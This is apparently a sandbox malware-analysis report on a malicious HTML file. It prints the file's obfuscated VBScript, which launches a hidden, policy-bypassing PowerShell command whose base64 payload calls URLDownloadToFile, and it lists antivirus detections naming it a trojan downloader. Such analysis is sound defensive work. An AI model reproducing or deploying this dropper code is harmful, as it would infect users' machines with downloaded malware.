Static | ZeroBOX
No static analysis available.
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<sCRiPt lANguagE="VBsCRIPt">
LsSrrQSxWxTQSQFteBATnmUuWStjeZwQVGvvQhCpIwvNsvDjALxuEHyibsydTrpGyeLBzfFnncoZjmgBDpCNHhegOkOEbSSCVgCpvFqBnMljukADOGCFxFZyIQeuCyuMOgJuFBYljSdaajbyJinFcYxqnDhgAeltFBUyfQSAESCecgYtQoxwxhPReUNyUEEEVLZkWrlDYgzfDVFxJuULKaokIkKdOUPDlfMlhatATdHKDylRRVtg
sNVFtiyOJlNSRLInBjUVOeueBnUEoJWUmoUXBpwRJHfUzGqdSWrAoNRqjrwJOGFmcmSEaGdfoEhgMYXhIDuyUqSdxUPEikJKRAeJuCioyYhLhhtgXYtYiklcrRmwYQUUGbTtjyzYpJuSkBsJNdBiGOKUTceuKSezxJySVPRTPHhIzDJyfNhkOyfneyEFULZhsujmhXZFZNKqzHficXAmjJkPbZclfSvAscpLsrLSWVsYOixuFCVx
LsSrrQSxWxTQSQFteBATnmUuWStjeZwQVGvvQhCpIwvNsvDjALxuEHyibsydTrpGyeLBzfFnncoZjmgBDpCNHhegOkOEbSSCVgCpvFqBnMljukADOGCFxFZyIQeuCyuMOgJuFBYljSdaajbyJinFcYxqnDhgAeltFBUyfQSAESCecgYtQoxwxhPReUNyUEEEVLZkWrlDYgzfDVFxJuULKaokIkKdOUPDlfMlhatATdHKDylRRVtg
CREatEobjEct
Chr(&H57)
"scripT.ShelL"
sNVFtiyOJlNSRLInBjUVOeueBnUEoJWUmoUXBpwRJHfUzGqdSWrAoNRqjrwJOGFmcmSEaGdfoEhgMYXhIDuyUqSdxUPEikJKRAeJuCioyYhLhhtgXYtYiklcrRmwYQUUGbTtjyzYpJuSkBsJNdBiGOKUTceuKSezxJySVPRTPHhIzDJyfNhkOyfneyEFULZhsujmhXZFZNKqzHficXAmjJkPbZclfSvAscpLsrLSWVsYOixuFCVx
"poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAg
LsSrrQSxWxTQSQFteBATnmUuWStjeZwQVGvvQhCpIwvNsvDjALxuEHyibsydTrpGyeLBzfFnncoZjmgBDpCNHhegOkOEbSSCVgCpvFqBnMljukADOGCFxFZyIQeuCyuMOgJuFBYljSdaajbyJinFcYxqnDhgAeltFBUyfQSAESCecgYtQoxwxhPReUNyUEEEVLZkWrlDYgzfDVFxJuULKaokIkKdOUPDlfMlhatATdHKDylRRVtg.Run
LsSrrQSxWxTQSQFteBATnmUuWStjeZwQVGvvQhCpIwvNsvDjALxuEHyibsydTrpGyeLBzfFnncoZjmgBDpCNHhegOkOEbSSCVgCpvFqBnMljukADOGCFxFZyIQeuCyuMOgJuFBYljSdaajbyJinFcYxqnDhgAeltFBUyfQSAESCecgYtQoxwxhPReUNyUEEEVLZkWrlDYgzfDVFxJuULKaokIkKdOUPDlfMlhatATdHKDylRRVtg.eXpAndEnViRonmENtsTRiNgs(
ChrW(&H25) & Chr(&H63) & ChrW(&H4F) & ChrW(&H4D) & ChrW(&H53) & Chr(&H70) & ChrW(&H65) & ChrW(&H43) & ChrW(&H25)
Chr(&H2F) & ChrW(&H63) & ChrW(&H20)
sNVFtiyOJlNSRLInBjUVOeueBnUEoJWUmoUXBpwRJHfUzGqdSWrAoNRqjrwJOGFmcmSEaGdfoEhgMYXhIDuyUqSdxUPEikJKRAeJuCioyYhLhhtgXYtYiklcrRmwYQUUGbTtjyzYpJuSkBsJNdBiGOKUTceuKSezxJySVPRTPHhIzDJyfNhkOyfneyEFULZhsujmhXZFZNKqzHficXAmjJkPbZclfSvAscpLsrLSWVsYOixuFCVx
LsSrrQSxWxTQSQFteBATnmUuWStjeZwQVGvvQhCpIwvNsvDjALxuEHyibsydTrpGyeLBzfFnncoZjmgBDpCNHhegOkOEbSSCVgCpvFqBnMljukADOGCFxFZyIQeuCyuMOgJuFBYljSdaajbyJinFcYxqnDhgAeltFBUyfQSAESCecgYtQoxwxhPReUNyUEEEVLZkWrlDYgzfDVFxJuULKaokIkKdOUPDlfMlhatATdHKDylRRVtg
NoThINg
sElf.cLOSe
</script>
</body>
</html>
Antivirus Signature
Bkav Clean
Lionic Trojan.HTML.Generic.4!c
ClamAV Clean
CTX html.trojan.obfuscated
CAT-QuickHeal Clean
Skyhigh Clean
ALYac VBS.Heur.Asthma.2.8713137C.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Clean
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec ISB.Downloader!gen80
ESET-NOD32 VBS/Obfuscated.AO
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
Cynet Clean
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VBS.Heur.Asthma.2.8713137C.Gen
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
ViRobot Clean
MicroWorld-eScan VBS.Heur.Asthma.2.8713137C.Gen
Tencent Script.Trojan.Generic.Wimw
Sophos Clean
F-Secure Clean
DrWeb Clean
VIPRE VBS.Heur.Asthma.2.8713137C.Gen
TrendMicro Clean
CMC Clean
Emsisoft VBS.Heur.Asthma.2.8713137C.Gen (B)
huorong TrojanDownloader/VBS.Agent.hw
FireEye VBS.Heur.Asthma.2.8713137C.Gen
Jiangmin Clean
Varist JS/Agent.CMC3.gen!Eldorado
Avira Clean
Fortinet VBS/Obfuscated.AO!tr
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit VBS.Heur.Asthma.2.8713137C.Gen
SUPERAntiSpyware Clean
Microsoft Clean
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Trojan.Obfuscated/VBS!8.132B4 (TOPIS:E0:uMSlsLmrbUP)
Yandex Clean
Ikarus Trojan.PS.Agent
MaxSecure Clean
GData VBS.Heur.Asthma.2.8713137C.Gen
AVG Script:SNH-gen [Trj]
Panda Clean
alibabacloud Trojan:Win/Obfuscated.AP
No IRMA results available.